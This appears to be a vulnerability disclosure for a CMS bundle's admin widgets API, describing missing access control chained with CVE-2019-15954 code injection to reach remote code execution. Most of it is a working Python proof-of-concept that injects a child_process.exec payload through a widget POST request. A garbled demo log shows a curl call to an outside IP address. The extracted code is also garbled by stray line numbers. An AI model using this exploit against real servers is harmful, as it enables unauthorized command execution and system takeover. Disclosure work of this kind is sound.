H1 Broken Access Control TO RCE

Any user (including unauthorized users) can call /api/widgets/, This leads to rce

Code Analysis

- cmsbundle.src\controllers\admin.js
- /api/widgets be allow call any user

• Users aren't grant privileges, also using api:

```
// Widgets
ROUTE('GET /admin/api/widgets/{id}/ *Widgets --> @query');
ROUTE('GET /admin/api/widgets/{id}/ *Widgets --> @read');
ROUTE('POST /admin/api/widgets/ *Widgets --> @remove');
ROUTE('DELETE /admin/api/widgets/{id}/ *Widgets --> @remove');
ROUTE('GET /admin/api/widgets/{id}/editor/ *Widgets --> @deditor');
ROUTE('GET /admin/api/widgets/dependencies/ *Widgets --> @dependencies');
ROUTE('GET /admin/api/widgets/{id}/settings/ *Widgets', settings);
ROUTE('GET /admin/api/widgets/{id}/backups/ *Common --> @backup');

// Widget globals
ROUTE('GET /admin/api/widgets/globals/ *Widgets/Globals --> @read');
ROUTE('POST /admin/api/widgets/globals/ *Widgets/Globals --> @save', 30);
};
```

• Combine CVE-2019-15954 (Code Injection) -> RCE unauthorize

PoC

• (Needing user in website)

```
1 import requests
2 import sys
3
```

```
session = requests.Session()
 5
    def request(cookie,cmd):
 6
 7
        headers = {"Content-Type":"application/json; charset=utf-8"}
        cookies = {"__admin":cookie}
 8
        payload = "\"<script</pre>
 9
    total>global.process.mainModule.require(\'child_process\').exec('
    %s');</script>\"" %(cmd)
        rawBody = '{"name":"meomeo","body":%s,"category":"Inline"}' %
10
    (payload)
        response =
11
    session.post("http://localhost:8000/admin/api/widgets/",
    data=rawBody,headers=headers ,cookies=cookies ,)
        if "true" in response.text:
12
            print("RCE!")
13
        else:
14
            print(response.text)
15
16
17
18 if __name__ == "__main__":
        if len(sys.argv) < 4:</pre>
19
            print("Help: python PoC.py + cookie + cmd")
20
            sys.exit()
21
22
        else:
23
            url = sys.argv[1]
            cookie = sys.argv[2]
24
25
            cmd = sys.argv[3]
26
            request(cookie,cmd)
```

demo:

```
| 1778dc:38d1cc:280 *curl 149.28.128.52/[euleutheo*]
| 1778dc:38d1cc:280 *curl 149.28
```